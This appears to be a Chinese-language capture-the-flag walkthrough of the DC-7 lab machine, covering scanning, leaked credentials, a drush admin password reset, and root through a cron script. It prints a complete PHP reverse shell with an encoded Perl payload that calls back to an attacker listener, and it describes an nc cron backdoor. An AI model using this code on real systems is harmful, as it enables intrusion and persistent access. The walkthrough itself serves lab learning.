1.靶机部署
kali安装:https://blog.youkuaiyun.com/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://www.five86.com/downloads/DC-7.zip
解压后得到一个.ova的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.信息收集
2.1 探测目标IP地址
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover,其他方法可详见DC-1靶机的渗透过程。
arp-scan -l
确定了DC主机的IP地址为:
192.168.11.141 00:0c:29:2b:17:54 VMware, Inc.
2.2 探测IP开放的端口
用nmap探测一下:
nmap -sV -p- 192.168.11.141
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看
2.3 网站CMS
whatweb -v 192.168.11.141
2.4 敏感目录扫描
nikto -h 192.168.11.141
2.5 信息收集总结
- IP:192.168.11.141
- 开放端口:22 80
- CMS:Durpal 8
- 编程语言:PHP
- Web服务器:Apache 2.4.25
- 操作系统:Debian
3.渗透过程
3.1 “跳出”思维,尝试一种新的方式
通过扫描框架,敏感目录等,暂时没发现有用的信息!!!
通过页面我们发现了作者留下的话,还有左下角,好像是作者的名字。
Welcome to DC-7
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. :-)
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.
What you will have to do, is to think "outside" the box.
Way "outside" the box. :-)
欢迎来到DC-7
DC-7引入了一些“新”概念,但我将把它们留给你自己去弄清楚。: -)
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力强制或字典攻击,您可能不会成功。
你要做的,就是“跳出”思维定势。
作者提示我们要“跳出”思维,那我们上网搜索一下**@DC7USER:**
发现网上有源码泄露!!!
3.2 代码审计
发现有源码泄露之后,废话不多说,直接看源码:
在源码中发现了一组用户名和密码:
用户名:dc7user
密 码:MdR3xOgB7#dW
3.3 ssh登录
登录网站,发现登录失败!!!
记得在我们信息收集的时候,发现该主机还开启了22端口,尝试登录一下:
成功登录!!!
3.4 寻找有用线索
在当前文件夹,发现一个mbox文件,查看其内容,发现有一个root的文件
进入文件所在文件夹,查看文件相关信息及内容:
文件权限为:
-rwxrwxr-x
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,这里可以作为提权的一个突破口
查看文件内容:
发现了个drush命令,这个是drupal专属的一个操作系统命令。
3.5 使用drush修改密码
进入网站所在目录:
查看用户信息:
drush user-information admin
drush user-information dc7user
修改admin的密码:
drush upwd admin --password="passwd"
3.6 登录网站后台
登录成功!!!
3.7 反弹shell
大概浏览网站,最后发现了一个可以写脚本的地方:
找到了编辑文件的地方,但是没有PHP解释器,找一下有没有地方可以安装
这里有个扩展,可以添加模块,我们尝试一下可不可以安装PHP解释器。
输入PHP解释器的URL,点击安装:
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
如果出现这种情况,下面还贴心的提供了本地安装,可以事先下载包,然后导入:
安装成功后,记得启动PHP解释器:
然后返回刚刚的编辑文件的地方,发现这时候可以写PHP文件了
创建一个PHP的反弹shell代码:
使用PHP代码反弹shell:
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP"; #监听ip
$yourport = 'your port'; #监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
kali端开启监听:
点击保存:
反弹成功!!!
注意:一定要kali先监听,然后再保存。反弹shell不成功的原因有很多,代码不正确,端口,IP等等,不成功的可以多试试,或者在另一个地方创建试试,方法都是总结出来的,最后实在不行的话,就试试我下面说的第二种方法!
使用PHP一句话木马拿到shell:
如果,如果,如果,这种方式反弹不成功,也可以使用一句话木马:
然后使用蚁剑连接:
3.8 升级交互shell
python -c "import pty;pty.spawn('/bin/bash')"
3.9 提权
记得我们在/opt/scripts/目录下曾发现过一个root创建的定时任务脚本backups.sh,那我们可以在里面追加一具nc提权:
kali设置监听:
写入代码:
等待下次脚本执行……
3.10 夺旗
4.收获总结
4.1 信息收集部分
信息收集式渗透测试中最重要的部分,要善于发现网站的关键字,可疑部分,不明白或不知道的东西多上网查,善于使用搜索引擎,搜索关键字并寻找突破口。
4.2 Linux文件权限
了解文件权限,对于一些对我们渗透有用的文件,可以选择切换身份再查看对该文件可以操作的权限,选择性的绕过。
4.3 计划任务
计划任务可以帮助我们定时做一些事,也可留后门使用,如果发现别人的计划任务也许还可以帮助我们提权。
crontab -l #查看定时任务
4.5 一句话木马
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。